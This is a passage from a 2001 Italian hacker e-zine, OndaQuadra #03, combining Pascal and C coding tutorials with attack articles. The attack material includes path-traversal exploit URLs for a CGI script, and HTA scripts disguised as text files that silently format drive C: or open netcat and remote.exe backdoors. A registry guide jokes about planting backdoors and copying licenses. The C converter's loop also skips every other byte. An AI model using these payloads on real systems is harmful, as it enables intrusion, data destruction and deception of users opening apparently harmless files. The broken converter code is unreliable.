non va a capo. Come avete visto inoltre
per far visualizzare un apice ' bisogna
digitarlo due volte, se no sarebbe un
errore. Cio` vale anche per writeln.

readln(input1); ---> readln e` l`opposto di writeln, infatti a posto
di inviare un output alla periferica standard (video),
riceve un input dalla periferica standard (tastiera).
In effetti, questa riga non fa altro che aspettare che
l`utente dgt qualcosa, e poi assegna cio` che e` stato
digitato alla variabile.

write('Qual e'' il tuo cognome?');---\
readln(input2); ----------------\
write('Quanti anni hai?'); -----| tutti questi comandi sono stati gia` visti
readln(input3); ----------------/
writeln; -------------------------/

writeln(input1,' ',input2,' ha ', input3, ' anni.'); ---> Con questa riga
scriviamo le variabili
ottenute + uno spazio
tra di loro e "
ha"
e "
anni.", in modo da
ottenere: "
Nome Cognome
ha num_anni anni."

repeat until keypressed; ---> gia` visti
end. ----------------/\

Tramite la spiegazione e gli esempi spero di aver chiarito cosa sia una
variabile, come dichiararla, come assegnargli un valore.

Spesso quando si scrive un programma si incontra il problema di dover scrivere
+ volte una stessa serie di comandi; a questo punto vengono in aiuto le
procedure. Infatti queste non sono nient`altro che una serie di comandi che
possono essere chiamati con una sola riga. Ecco un esempio:

uses crt;

var ancora : string;
label prova2;


procedure prova1;
var addendo1, addendo2, risultato : integer;

begin
clrscr;
writeln;
writeln;
writeln;
write('Inserisci il primo addendo : ');
readln(addendo1);
write('Inserisci il secondo addendo : ');
readln(addendo2);
risultato := addendo1 + addendo2;
writeln;
writeln('Il risultato e'' ',risultato);
end;

begin

prova2:
prova1;
writeln;
write('Un''altra addizione? (s/n)');
readln(ancora);
if ancora='s' then goto prova2;
end.


come vedete e` un semplice programma che fa un`addizione. La procedura
non era strettamente necessaria, ma era solo per esempio.
Analizziamo le cose nuove all`interno del semplice programma:

label prova2; --->con questa riga abbiamo dichiarato un`"
etichetta".
Queste sono molto utili per rimandare il programma
ad una certa riga in qualsiasi momento. E` un po` come
quando col basic vi era "
then goto numeroriga", e` la
stessa cosa qui, solo che si rimanda al nome della label.

procedure prova1; --->Vedi + avanti...

risultato := addendo1 + addendo2; --->Come abbiamo detto in precedenza in
questo modo si assegnano dei valori
alle variabili. In questo caso
abbiamo assegnato a risultato il
valore della somma del valore di
addendo1 e del valore di addendo2.
Quel + tra le variabili viene detto
operatore. Ve ne sono altri, ecco i
+ diffusi:

+ (gia` visto) per la somma
- per la sottrazione
/ per la divisione
* per la moltiplicazione

prova2: ---> Assegniamo l`inizio della label, dichiarata in precedenza.
Quando chiameremo la label, il programma continuera` ad
eseguire i comandi da qui in poi.

prova1; ---> Con questa riga richiamiamo la procedura scritta in precedenza.

if ancora='s' then goto prova2; ---> controlla se ("
if" = "se") la variabile
ancora e` uguale a "
s"; se e` uguale
allora ("
then" = "allora")
vai alla ("
goto" = "vai a") label prova2.



Come avete visto le procedure sono come dei veri e propri programmi
all`interno del nostro programma che possono essere chiamati quando si vuole.
Ecco la sintassi:

procedure nomeprocedura(eventuali_variabili : tipo);
eventuali_variabili_2 : tipo;
begin
comando1;
comando2;
comando3;
...
end;

Come avete visto dopo il nome della procedura tra parentesi e` possibile
inserire dei valori da poi utilizzare all`interno del programma.
Inoltre prima del begin della procedura si possono anche dichiarare delle
variabili da utilizzare, basta che il loro nome non sia lo stesso di quello
tra parentesi dopo il nome della procedura. Non e` possibile creare
concatenazioni di procedure, cioe` non si possono inserire altre procedure
all`interno delle procedure.
Come detto in precedenza vi sono anche le funzioni. Queste sono molto simili
alle procedure, l`unica differenza e` che restituiscono un valore.
Ecco la sintassi:

function nomefunzione(variabili : tipo):tipo_funzione;
eventuali_variabili : tipo;
begin
comando1;
comando2;
comando3;
...
nomefunzione:=valore;
end;


in cui:

tipo_funzione ---> i tipi sono gli stessi delle variabili
nomefunzione:=valore ---> con la penultima riga non facciamo altro
che assegnare alla funzione il valore da restituire.

Ecco subito un esempio chiarificatore:

uses crt;

var a1,a2:integer;


function somma(addendo1,addendo2:integer):integer;
begin
somma:=addendo1+addendo2;
end;

begin
writeln;
write('Inserisci il primo addendo: ');
readln(a1);
write('Inserisci il secondo addendo: ');
readln(a2);
writeln;
writeln('Il risultato e'' ',somma(a1,a2));
repeat until keypressed;
end.

Come vedete, la funzione somma non fa altro che addizionare le variabili
che gli vengono inviate.

In precedenza, abbiamo visto il comando if. Spieghiamolo meglio; questo e`
molto semplice infatti e` il corrispondente in inglese di come diremmo in
italiano:
se variabile1='Ciao' allora fai questo;.
Cosi` in inglese, e quindi in pascal, faremo:
if variabile1='Ciao' then comando1;
Come vedete, cosi` eseguiamo un solo comando, per eseguire + comandi,
ecco la sintassi:

if variabile=2 then begin
comando1;
comando2;
comando3;
...
end;

Inoltre, e` possibile inserire anche "
else" il corrispondente dell`italiano
"
se no, invece, fai questo". Ecco un esempio di sintassi:

if (questione=false) and (anni=16) then begin
comando1;
comando2;
comando3;
...
end else begin
comando1;
comando2;
comando3;
...
end;

In questo codice, oltre ad usare else, abbiamo introdotto anche l`utilizzo
di + di una condizione con AND che equivale ad e. Quindi se questione=false
e anni=16 esegue i comandi. Inoltre, oltre ad AND esiste anche OR che equivale
ad o.
Spieghiamo invece ora gli altri cicli, oltre a repeat ... until.
For , ecco la sua sintassi:
for nomevariabile:=numero to numero2 do begin
comando1;
comando2;
comando3;
...
end;

Grazie a questo ciclo si possono ripetere un determinato numero di volte
dei comandi. Ecco un esempio:

uses crt;

var i : integer;


begin
for i:=1 to 10000 do begin
write('Hello World! ',i);
clrscr;
end;
end.

Questo esempio scrive Hello world! 1 , poi pulisce la pagina e scrive
Hello world! 2, fino ad arrivare a 10000

Un altro ciclo e` While (che corrisponde a "
finche`"), ecco la sintassi:

while condizione do begin
comando1;
comando2;
comando3;
...
end;

Finche` si verifica la condizione si ripetono i comandi.

Bene, come direbbe il grande Michael Bakunin: Ex Claro?
Credo di aver spiegato chiaramente i concetti base del pascal, ora potete
gia` iniziare a divertirvi con la vostra fantasia a creare nuovi programmi.

Cerco di spiegare ora qualcosa in + sul pascal.
Come ho detto all`inizio all`interno del pascal e` possibile inserire codice
assembler. Questo e` possibile con asm ... end;
Scrivendo asm si dice al compilatore che da li` fino al primo end; le
istruzioni sono in assembler. Esempio:

begin
asm
mov al, 07h
end;
end.

Questo programma e` un esempio e non fa assolutamente niente, inserisce solo
il valore 07 in esadecimale nella parte bassa del registro ax.
Naturalmente, non posso spiegarvi l`assembler in questa guida, sarebbe troppo
lunga, vi consiglio di leggere la guida all'asm di Michael Bakunin
downloadabile da http://go.to/tankcommandos . Magari in futuro ne scrivero`
una anch`io. Se si conosce bene sia l`assembler che il pascal, si puo` fare
qualunque cosa dal sistema operativo al videogioco tridimensionale.

Inoltre, ho detto in precedenza che all`interno del pascal si possono utilizzare
funzioni scritte in altri linguaggi, basta compilarli ed ottenere il file
con estensione obj. Per inserire questo file bisogna scrivere all`inizio del
programma la riga:
{$L nomefile.obj}
in questo modo si potranno richiamare funzioni e procedure scritte nel file
object. Naturalmente per ogni linguaggio esistono alcuni altri provvedimenti
da prendere, di cui io non parlo in questa guida. Per esempio, per inserire
l'object di un file assembler, bisognera` dichiarare nel file asm le procedure
come public, e poi inserire nel nostro codice le procedure del file object
che useremo in questo modo:
procedure nomeprocedura; external;
Dicendo external; il compilatore cerchera` direttamente la funzione nel file
object.

Infine, sfrutto quest`ultima parte della guida per parlare dei colori.
Nella unit crt, vi sono infatti le procedure textcolor(colore) e
textbackground(colore). Queste dichiarano il colore del testo e dello sfondo
in modalita` testo. Per esempio:

textcolor(white);
textbackground(blue);
clrscr;
writeln('Hello world!');

non fa altro che mettere sfondo blu e testo bianco e scrivere Hello world!

Ecco infine un piccolo programma di esempio:

program prova_arcobaleno;

uses crt;

var coloretesto,coloresfondo : integer;
i : byte;


procedure arcobaleno;
begin
if coloretesto > 20 then begin
coloretesto:=0;
coloresfondo:=1;
end else begin
coloretesto := coloretesto + 1;
coloresfondo := coloresfondo + 1;
end;
textcolor(coloretesto);
textbackground(coloresfondo);
clrscr;
writeln;
writeln(' HELLO WORLD!!!');
delay(10);
end;

begin
coloretesto:=1;
coloresfondo:=0;
repeat
arcobaleno;
until keypressed;
textcolor(15);
textbackground(1);
clrscr;
writeln;
writeln(' Tabella ASCII');
writeln;
writeln(' premi il pulsante PAUSA per bloccare la lista');
writeln(' premi qualsiasi tasto per ricominciare a far scorrere la lista o per uscire');
delay(2000);
i:=0;
readln;
repeat
writeln(i,' = ',chr(i));
i:=i+1;
delay(100);
until keypressed;
end.


Questo esempio che ho scritto prima visualizza la scritta hello world
(la tipica scritta che viene visualizzata di solito quando si scrive
per la prima volta un programma) con effetto arcobaleno, e poi visualizza
la tabella ascii. Ecco i comandi nuovi che ho inserito in questo esempio:

delay ---> questo comando attende un determinato periodo di tempo,
la sintassi e`: delay(ms) . Tra parentesi va il tempo da
attendere in millesimi di secondo, quindi 1000 = 1 secondo.
chr ---> questa funzione restituisce il carattere del numero inserito
tra parentesi. Sintassi: chr(numero) . Per esempio se scriviamo
write(chr(21)); otterremo scritto : § .Infatti, se tenendo premuto
l`alt sinistro della vostra tastiera digitate 21 sui numeri sulla
destra della vostra tastiera otterrete: §.
Inoltre come avrete notato questa volta dopo l`if al posto di uguale =
abbiamo utilizzato >. > sta a significare maggiore, < minore ed <> diverso.

Siamo giunti agli sgoccioli della guida, perche` non so + cosa spiegare...

Ecco un esempio di un altro programma:

{$M 65000,0,65000}

program esegui;

uses dos,crt;

var file_da_eseguire : string;


begin
clrscr;
writeln;
write('Path del file da eseguire : ');
readln(file_da_eseguire);
swapvectors;
exec('c:\command.com',' /c ' + file_da_eseguire);
swapvectors;
writeln;
writeln('Premi un tasto per uscire dal programma');
repeat until keypressed;
end.

La prima riga fa utilizzare 65000 byte di memoria, in modo da permettere
l`esecuzione di programmi. Swapvectors, deve essere sempre usato prima e dopo
exec. Exec ,infine, non fa altro che eseguire un file. Ecco la sintassi:
exec(interprete_dei_comandi,parametri);
L`interprete dei comandi del dos e di windows e` il command.com, quindi
bastera` scrivere il suo path. Come parametri /c indica di eseguire un file,
od un comando come ad esempio dir.

Ora sapete quindi anche come eseguire un file.
Ecco discusse qui altre procedure utili, di cui non ho avuto la possibilta`
di parlare:

gotoxy(y,x); ---> sposta il cursore alla x ed alla y data (x e` la riga dello
schermo, mentre y e` la colonna) (in modalita` testo normale
vi sono 20 righe ed 80 colonne)

random(numero); ---> sceglie casualmente un numero da 1 fino al numero inserito
fra parentesi. Per esempio :
write(random(100));
scrivera` a video un numero casuale da 1 a 100.

initgraph(drivergrafico,modografico,pathdeldriver) ---> inizializza il modo
grafico. Questa funzione per
essere eseguita ha bisogno
della unit graph (quindi
dovremo inserire graph
dopo uses), e del path
della directory bgi che si
trova nella cartella del nostro
pascal.

Ecco un esempio di utilizzo della modalita` grafica:

uses Graph;

var Driver_grafico,Modo_grafico,Errore: Integer;

begin
Driver_grafico := Detect;
InitGraph(Driver_grafico, Modo_grafico,'qui va il path dei file bgi'); {per es. c:\tp\bgi\ }
Errore := GraphResult;
if Errore = grOk then begin
Line(0, 0, GetMaxX, GetMaxY);
Readln;
CloseGraph;
end else Writeln('Errore grafico:', GraphErrorMsg(Errore));
end.



Vediamo un po`:

Driver_grafico := Detect; ---> Determina automaticamente il driver grafico giusto per la nostra
scheda video, e lo assegna alla variabile Driver_grafico

InitGraph(Driver_grafico, Modo_grafico,'qui va il path dei file bgi'); ---> Questa riga
inizializza la modalita` grafica,
utilizzando il driver determinato
precedentemente. Nel terzo parametro
va inserito il path dei file grafici
con estensione .bgi. Per esempio, il mio e`
'c:\progra~1\borlan~1\bgi\'

Errore := GraphResult; ---> Questa riga controlla il risultato ottenuto dopo essere stata
inizializzata la grafica.

if Errore = grOk then begin ---> se non vi e` errore allora:

Line(0, 0, GetMaxX, GetMaxY); ---> disegna una linea che va dall`angolo in alto a sinistra sullo
schermo, fino all`angolo in basso a destra. GetMaxX e GetMaxY
sono delle costanti che indicano l`ultima riga e l`ultima colonna
dello schermo.

Readln; ---> aspetta che si prema un tasto (proprio come repeat until keypressed)

CloseGraph; ---> chiude la modalita` grafica

end else Writeln('Errore grafico:', GraphErrorMsg(Errore)); ---> se, invece, vi sono stati errori nella
inizializzazione, scrive a video:
Errore grafico: ed il codice dell`errore

end. ---> fine programma



L'articolo e` finito e spero vi sia piaciuto.
Per critiche, per domande, per mandarmi affCENSUREDulo o per presentarmi vostra sorella :))
scrivetemi all'email xp_terminator@katamail.com

Xp Terminator

+-------------------------------------------------------------------------------+
| ONDAQUADRA MAGAZINE ~ [C0DiNG] #03 - 17/09/2001 |
| C0DiNG4DUMMiES NIX2DOS & DOS2NIX [bondo] 0x11/0x29 |
+-------------------------------------------------------------------------------+

============================================================================================ NIX2DOS & DOS2NIX
- text converter - ============================================================================================ Se scrivete un file di testo con un normale editor in ambiente linux, avrete di sicuro notato che aperto con il notepad di skifuz... ehm, windows... il testo non va a capo.
Questo accade perchè sotto *nix, quando premete invio sul file viene scritto un unico byte (un carattere) per indicare al sistema 'adesso vai a capo'.
Tale carattere corrisponde al codice ascii 10 (line feed).
Sotto *dos, invece i byte scritti sono 2: 'carriage return' e 'line feed'.
Probabilmente, questo rimane per compatibilità con i vecchi file di testo scritti in dos, nel quale il cr andava a inizio riga e lf alla linea successiva, quindi per un 'a capo' come lo intendiamo noi, cioè riga successiva e prima colonna servono due byte.
Terminati questi brevi cenni storici, veniamo al dunque: nix2dos e dos2nix.
Sono due programmini che si occupano di convertire file di testo da *nix a *dos e viceversa, ristabilendo la portabilità dei file elaborati.
Vediamo prima nix2dos...


#include <stdio.h>
FILE *source;
FILE *destination;
char bait;
char crlf[2];
int main(int argc, char *argv[])
{
crlf[1]=0x0A; crlf[0]=0x0D;
source=fopen(argv[1], "
rb");
destination=fopen(argv[2], "
w+b");
while(fread(&bait, 1, 1, source))
{
fread(&bait, 1, 1, source);
if(bait!=0x0A) fwrite(&bait, 1, 1, destination);
else fwrite(crlf, 2, 1, destination);
}
fclose(source);
fclose(destination);
}

Banale, vero?
Beh, magari non per qualcuno che ha appena iniziato a programmare, quindi direi di spiegare bene come funziona.
Partiamo come se avessimo già l'eseguibile compilato: per convertire un testo scriviamo al prompt dei comandi:
nix2dos testonix.txt testodos.txt
testonix.txt è il file sorgente scritto sotto linux
testodos.txt è quello che verrà creato in formato dos/windows
nix2dos è il file eseguibile (meglio precisare...)
Adesso vediamo come il programma prende i due parametri che gli abbiamo passato.
Se notate bene, nella dichiarazione del main tra parentesi abbiamo messo due parametri, un intero argc e un puntatore a un vettore di stringhe argv.
Quando lanciamo il programma e di seguito scriviamo dei parametri, l'intero argc tiene il conteggio di quanti parametri abbiamo inserito + 1.
Ogni stringa dell'argv contiene un parametro passato.
Argv[0] (argv di posto 0) contiene sempre il nome dell'eseguibile (ecco perchè argc contiene il n° di parametri +1 - quell'uno in più è il nome del file).
Ogni elemento dell'argv è una stringa compresa tra due spazi.
Facciamo un esempio:
program -h param1 -t param2 tuasorella
program è il nome del programma
argc=6
argv[0]="
C:\Temp\program.exe" (supponendo che il programma si trovi nella directory C:\Temp) argv[1]="-h"
argv[2]="
param1"
argv[3]="
-t"
argv[4]="
param2"
argv[5]="
tuasorella"
In questo modo possiamo passare a un programma dei parametri come fosse una funzione. Nell'esempio, il programma gira sotto windows.
Se andasse sotto linux, argv[0] potrebbe essere del tipo "
/home/bondo/program".
Tornando al programma convertitore, vengono aperti i due file che noi passiamo come parametri, uno in modalità di lettura (il sorgente) e l'altro in scrittura (destinazione).
Bene, siamo arrivati al cuore del programma, la parte incaricata di convertire il formato.
La conversione avviene in questo modo:
-finchè non è finito il file sorgente, leggo un carattere da sorgente
-se il carattere non è un 'a capo', cioè è diverso da 0x0A, lo scrivo su destinazione
-se invece il carattere è un 0x0A, scrivo 0x0D 0x0A, ovvero l'acapo' di windows
-leggo ancora finchè non è finito il file
Quando il file sorgente è finito, chiudo i file e il programma è finito.
Tutto qua.
Visto che questo è per CODING4DUMMIES, lascio come compito a casa di scrivere dos2nix. Il procedimento è quello inverso di nix2dos.
Se non ci riuscite, scrivetemi che vi manderò il sorgente e le spiegazioni di come funziona. 4ever your,
.bondo. ============================================================================================ -.~.-([ bondo ])-.~.- bondo@marijuana.com ============================================================================================

+-------------------------------------------------------------------------------+
| ONDAQUADRA MAGAZINE ~ [L'ANG0L0 DEGLi EXPLOiT] #03 - 17/09/2001 |
| ...UN CGi AL Gi0RN0...LEVA iL R00T Di T0RN0 !!! [tdi110cv] 0x12/0x29 |
+-------------------------------------------------------------------------------+

*************************************************************
* ...UN CGI AL GIORNO ... LEVA IL ROOT DI TORNO !!!! *
* ( ...ovvero l'angolo degli exploit ) *
*************************************************************
Disclamer :
Tutte queste info , mi sono state tramandate per secoli e secoli ... emmm ma
che cazzo dico ?
Ok tutte le info che troverete in questo articolo sono informazioni facilmente
reperibili in rete e in particolar modo su Bugtraq !
Io non faccio altro che riportarle traducendo il tutto.
... e poi se la gente non sa programmare che cazzo di colpa ne ho io ?!
______________________________________________________________________________

Problem : input validation error.
Vulnerable products: ustorekeeper.pl version 1.61
Product vendor: Microburst Technologies / http://www.uburst.com
Comment: '..' e '/' non vengono filtrate durante il processo di user input,
di conseguenza e' possibile inviare codice arbitrario che consenta
il download di qualsiasi file (permessi permettendo) dal server
remoto.

L'exploit in questione e' stato trovato dallo staff di CGIsecurity.com e
purtroppo per noi smanettoni non e' stato pubblicato immediatamente , per
svariate cause ! Forse ... per pieta' nei confronti della societa' venditrice.
No dai e' piu' facile che non sia stato testato a fondo di conseguenza
l'autore avra' voluto attendere la fine dei tests.

Exploit:
http://www.vulnurable.com/cgi-bin/ustorekeeper.pl?command=goto&file=../../../../../../../../etc/hosts
http://www.vulnurable.com/cgi-bin/ustorekeeper.pl?command=goto&file=../../../../../../../../bin/ls |

E' ovvio che lo shadow , almeno che il Sys non sia un mentecatto , non lo
editerete mai in questo modo.
Qualcuno si stara' gia domandando quindi a che cazzo serva un exploit del
genere.
Be' sappiate che per arrivare a bucare un sistema , non e' necessario arrivare
allo shadow , ma e' necessario invece conoscere bene il sistema che si sta
attaccando ! Con questo exploit potrete andare alla ricerca di altro codice
bacato che vi consentira' la scalata del K2 (la scalata al root).
Per esempio editare l' ETC/HOSTS e verificare quali User siano registrati
, sara' gia un passo avanti !
Fidatevi ...
Un saluto a tutti.

Sincerely TDI110CV ___________________


+-------------------------------------------------------------------------------+
| ONDAQUADRA MAGAZINE ~ [MiSC] #03 - 17/09/2001 |
| FiLE MASQUERADE [E4zy] 0x13/0x29 |
+-------------------------------------------------------------------------------+


Breve preambolo
Il "
doppio click": un'azione associata all'esecuzione, che si ripete
quotidianamente sin con troppa disinvoltura. Questo articolo ha lo scopo di
farvi riflettere su quanto pericoloso possa essere sottovalutare il pericolo
di incappare in trappole derivanti dal mascheramento dei formati associati
ai file.

Introduzione
Avete mai pensato cosa sarebbe potuto succedere se all'apertura del vostro
numero preferito di Ondaquadra ne fosse conseguita l'esecuzione di un file
eseguibile? Ebbene si...se state usando Windows 98/2000 tutto ciò è
possibile!
Non c'è dubbio che un file di testo non possa eseguire codice, ma cosa
succederebbe se un file potenzialmente dannoso assumesse le somiglianze di
un txt in tutto per tutto? Otterremo un file dall'aspetto innocuo ma dal
cuore perfido :)

Windows Script Host
Prima di tutto è d'obbligo introdurre il Windows Script Host (WSH) che è il
linguaggio di scripting che utilizzeremo per la realizzazione del nostro
proggetto, esso permette l'esecuzione di script VBS o JS in maniera del
tutto naturale a livello base del sistema operativo di casa Microsoft, è
stato pensato per automatizzare alcune operazioni quali l'esecuzione di uno
specifico comando, vediamo ora alcuni esempi:


--------- Calcolatrice.hta ----------

<script>var shell=new ActiveXObject('WScript.Shell');
shell.Run("
calc.exe");</script>

-------------------------------------

Basterà assegnare l'estensione .hta al codice riportato qui sopra ed
eseguirlo, ne conseguirà l'avvio del programma calc.exe ovvero della
calcolatrice di Windows.

Exploit
Qui entra in gioco la vulnerabilità messa in luce da Guninski, un esperto in
campo di sicurezza informatica, che ha descritto il bug in questione. Come
riportato da Guninski basterà attribuire al nostro file .hta un'estensione
maliziosa che permetterà a quest'ultimo di prenedere le sembianze di
qualsiasi altro formato di file, vediamo un esempio di facile attuazione:


--------- Readme.txt.{3050F4D8-98B5-11CF-BB82-00AA00BDCE0B} ----------

<script>var shell=new ActiveXObject('WScript.Shell');
shell.Run("
command.com");</script>

----------------------------------------------------------------------

Una volta assegnata l'estensione .txt.{3050F4D8-98B5-11CF-BB82-00AA00BDCE0B}
il nostro file assomiglierà in tutto e per tutto (o quasi) ad un file di
testo ma in realtà eseguirà il prompt dei comandi :)

Come funziona
Se l'estensione del file è rappresentata da un Classid (CLSID) come ad
esempio .{3050F4D8-98B5-11CF-BB82-00AA00BDCE0B} Windows non ne mostrerà la
reale estensione ma solamente l'estensione fittizia da noi assegnata
(nell'esempio .txt), in realtà il file è un HTA e come tale è potenzialmente
dannoso per il sistema.
Da notare bene: l'icona del file generato con tale procedura non
corrisponderà all'estensione assegnatagli, Windows gli attribuirà l'icona di
file comune di Windows.

Alcuni script d'esempio

Causa l'esecuzione del prompt dei comandi su un sistema NT/2000:

--------- Prompt.txt.{3050F4D8-98B5-11CF-BB82-00AA00BDCE0B} ----------

<script>var shell=new ActiveXObject('WScript.Shell');
shell.Run("
cmd.exe");</script>

----------------------------------------------------------------------

Formattazione dell'unità C automatica, senza richiesta di conferma da parte
dell'utente, non fate i lamer!!! :)

--------- Format.txt.{3050F4D8-98B5-11CF-BB82-00AA00BDCE0B} ----------

<script>var shell=new ActiveXObject('WScript.Shell');
shell.Run("
format c: /autotest");</script>

----------------------------------------------------------------------

Utile nei sistemi NT dove netcat spesso è installato come parte del Resource
Kit, sapendo il percorso in cui risiede il programma netcat è possibile
aprire una backdoor sul sistema:

--------- Backdoor.txt.{3050F4D8-98B5-11CF-BB82-00AA00BDCE0B} ----------

<script>var shell=new ActiveXObject('WScript.Shell');
shell.Run("
c:\\<path>\\nc.exe -L -p 80 -e command.com -d");</script>

----------------------------------------------------------------------

il parametro <path> va sostituito con il percorso del programma netcat; una
volta eseguito lo script avvia netcat in background mettendo in ascolto la
porta 80 sul sistema remoto e restituisce il prompt dei comandi ad avvenuta
connessione.

Altro programma sfruttabile a tale scopo è remote.exe che viene installato
come il precedente con il Resource Kit di NT e permette l'apertura di una
backdoor sul sistema remoto:

--------- Backdoor.txt.{3050F4D8-98B5-11CF-BB82-00AA00BDCE0B} ----------

<script>var shell=new ActiveXObject('WScript.Shell');
shell.Run("
c:\\<path>\\remote.exe /s cmd secret");</script>

----------------------------------------------------------------------

ancora una volta il parametro <path> rappresenta il percorso
dell'applicazione e va sostituito con il path reale del programma
remote.exe; una volta eseguito è possibile accedere alla postazione remoto
utilizzando remote.exe in modalità client:

C:\>remote /c <ip_address> secret
dove il campo <ip_address> rappresenta l'indirizzo ip dell'host remoto su
cui gira remote in modalità server.


+-------------------------------------------------------------------------------+
| ONDAQUADRA MAGAZINE ~ [MiSC] #03 - 17/09/2001 |
| GUiDA ALL0 SMANETTAMENT0 DEL REGiSTRY [frenk666] 0x14/0x29 |
+-------------------------------------------------------------------------------+


Disclaimer
L’autore di questo testo non si assume alcuna responsibilità per eventuali danni derivanti dalla messa in uso di queste pratiche di smanettamento del Registro.
Questo documento è stato scritto a scopo didattico/informativo, quindi l’utilizzo che farete di queste conoscenze dipenderà solo da voi e io non sarò responsabile di alcuna conseguenza. E in ogni eventualità siate consapevoli che non sono capace né di intendere, né di volere, quindi sono cavoli vostri!


Pre-Introduzione
Come avrete capito qui si stà parlando di sistemi Win9x, se avete intenzione di andare a modificare chiavi e valori del Registry su una macchina Linux vi consiglio di cambiare lettura, per esempio le pagine gialle alla voce “psicanalisi” non sarebbe male ... :P


Introduzione
Il Registro di configurazione di Windows (detto anche Registry) consiste in una imponente mole di dati necessari al funzionamento di Windows, racchiusa, per la maggior parte, nei due file “user.dat” e “ system.dat” che si trovano nella directory di Windows (“C:\Windows” in genere ...).
Nel Registry vengono salvati tutti i parametri di funzionamento dei programmi a 32 bit (ma non di quelli a 16 bit che sono i programmi per Dos) come le dimensioni delle finestre dei vari programmi, le password e le svariate impostazioni di Windows ... Il bello è che spesso (W la Micro$oft) tali informazioni non vengono crittate e per renderci le cose ancora + facili il caro vecchio Bill ha ben pensato di metterci uno stupendo programmino chiamato “regedit.exe” che ci permette di modificarle comodamente! ;)

E’ inutile dire che queste “conoscenze” potrebbero rivelarsi mooolto utili, e per diversi scopi ... Dai più innoqui, quando per esempio il nostro amministratore di sistema ha imposto restrizioni sulla personalizzazione del Desktop e simili, ma non ha ristretto l’accesso al Registry; ai più perversi, quando per esempio abbiamo accesso al computer di un tipo che ci stà sui ... e gli installiamo simpatici programmini e backdoors in avvio automatico ecc. ecc.

Hihihi ;)

L’importante è usare la testa e non comportarsi da incoscienti, perché pensate che tutto quello che fate agli altri potrebbe anche capitare a voi ... Non so se mi sono spiegato ...



Precauzioni

La cosa più importante quando si và a modificare i file di sistema di Windows, è avere una copia di backup da poter ripristinare in caso di errori.
Windows esegue automaticamente dei backup del Registry e li salva in “C:\windows\sysbckup”, compressi in file .cab, ma siccome potrebbero essere un po’ datati è meglio crearli manualmente ...

Ci sono due modi per effettuare il backup del Registry :

1) Si crea una copia dei file User.dat e System.dat (prima di effettuare
le modifiche ovviamente) in questo modo :

copy c:\windows\system.dat c:\system.bak (Invio)
copy c:\windows\user.dat c:\user.bak (Invio)

Per poi ripristinarle così in uno sfortunato futuro :

copy c:\system.bak c:\windows\system.dat (Invio)
copy c:\user.bak c:\windows\user.dat (Invio)

2) Oppure si può salvare il Registry in formato plain/text
(testo semplice) in un file con estensione .reg tramite
questi comandi :

regedit /l: c:\windows\system.dat /e c:\system.reg (Invio)
regedit /l: c:\windows\user.dat /e c:\user.reg (Invio)

Per poi ripristinarlo così :

regedit /l: c:\windows\System.dat c:\system.reg (Invio)
regedit /l: c:\windows\User.dat c:\user.reg (Invio)

Se proprio vi trovate nell’infelice situazione di aver provocato un errore nel registro senza aver prima fatto un backup un’ultima possibilità è provare a ripristinarlo con il comando “C:\scanreg.exe /restore”. Questo programma (scanreg.exe) in genere si trova nella directory “C:\windows\command” e và eseguito in modalità DOS (riavviando il computer, non da Prompt). Se non trovate “scanreg.exe” provate con “scanregw.exe /restore” che in genere si trova in “C:\windows”. Se non siete riusciti a ripristinare il registro nemmeno così temo che dovrete formattare ... :(

Per ulteriori info riguardo ai comandi e all’utilizzo dei file .reg vedi la sezione “Come Modificare” più in basso nel documento.


Struttura del Registry

Aprendo il Registry con il regedit vi troverete davanti ad una finestra simile a quella dell’explorer di Windows. Sulla sinistra vedrete le chiavi (directory) principali del registro che sono : HKEY_CLASSES_ROOT, HKEY_CURRENT_USER, HKEY_LOCAL_MACHINE, HKEY_USERS, HKEY_CURRENT_CONFIG e HKEY_DYN_DATA.


La chiave "
HKEY_CLASSES_ROOT" contiene tutte le informazioni che riguardano i tipi di file conosciuti da Windows e le impostazioni relative al loro avvio, alla loro modifica e alla loro stampa; oltre alle loro icone predefinite.
Appena aperta la chiave principale ci troveremo di fronte una marea di sotto-chiavi, che portano il nome delle estensioni dei file (es. “.bmp” “.html” ecc.); clikkando su una di esse ci accorgeremo che il valore “(Predefinito)” porta il nome di un’altra sotto-chiave che si trova in questa stessa “directory”, ed è proprio lì che troveremo le impostazioni relative a quell’estensione, pronte per essere modificate :)
Vi faccio notare anche la presenza di una sotto-chiave di nome “Licenses” che si trova qui, guarda caso fuori-posto, come se qualcuno volesse che non fosse trovata ... :) ... si tratta delle licenze necessarie per utilizzare controlli ActiveX e simili ... indovinate cosa succede se copiamo queste licenze su un altro computer che non ha il permesso di utilizzare quei controlli ... ;)
Aggiungo infine che “HKEY_CLASSES_ROOT” è una copia di "
HKEY_LOCAL_MACHINE\Software\Classes", quindi apportare le modifiche in una o nell’altra chiave non fa differenza.


La chiave "
HKEY_CURRENT_USER" contiene tutte le informazioni riguardanti l’utente corrente di Windows. Clikkandoci sopra ci troveremo davanti a 8 sotto-chiavi, tra cui “AppEvents”, “Control Panel”, “Identities”, “InstallLocationsMRU”,”Network”, “RemoteAccess” e “Software”.

La sotto-chiave "
AppEvents" contiene le impostazioni dei suoni che Windows riproduce quando si verificano determinati eventi (per intenderci, quelli che si possono imposatare dal “Pannello di Controllo” clikkando sul modulo “Suoni”).
La sotto-chiave "
Control Panel" contiene tutte le impostazioni di visualizzazione correnti di Windows. Qui troviamo altre sotto-chiavi, cioè “Appearance” che sono le impostazioni dei colori di Windows (quelle che si modificano nel foglio “Aspetto” delle proprietà dello schermo); “Cursors” che sono le impostazioni di visualizzazione della freccia del mouse; “Desktop” che sono le impostazioni riguardanti sfondo e screensaver; e altre che non stò a spiegare perché di scarso interesse e perché è meglio lasciare come stanno.

La sotto-chiave “Identities” contiene informazioni riguardanti gli utenti di Windows.

La sotto-chiave “InstallLocationsMRU” contiene le ultime path utilizzate per installare driver e simili. Vengono memorizzate per poi essere riutilizzate come suggerimenti per le installazioni successive, quindi possono tranquillamente essere rimosse se indesiderate.

La sotto-chiave “Network” contiene le informazioni utilizzate dal sistema per connettersi alla rete locale. Ovviamente la sotto-chiave sarà vuota se la rete locale non è installata. :P

La sotto-chiave “RemoteAccess” contiene le informazioni riguardanti le connessioni di accesso remoto, come la connessione predefinita, il prefisso della tua area ecc. Mooolto interessante è la sotto-chiave “Profile” che troviamo qui dentro, perché contiene tutte le informazioni riguardanti tutte le connessioni, come Username e Password se sono stati salvati ... ;)

La sotto-chiave “Software” contiene tutte le impostazioni personalizzate per l’utente corrente di tutti i vari software a 32 bit installati.
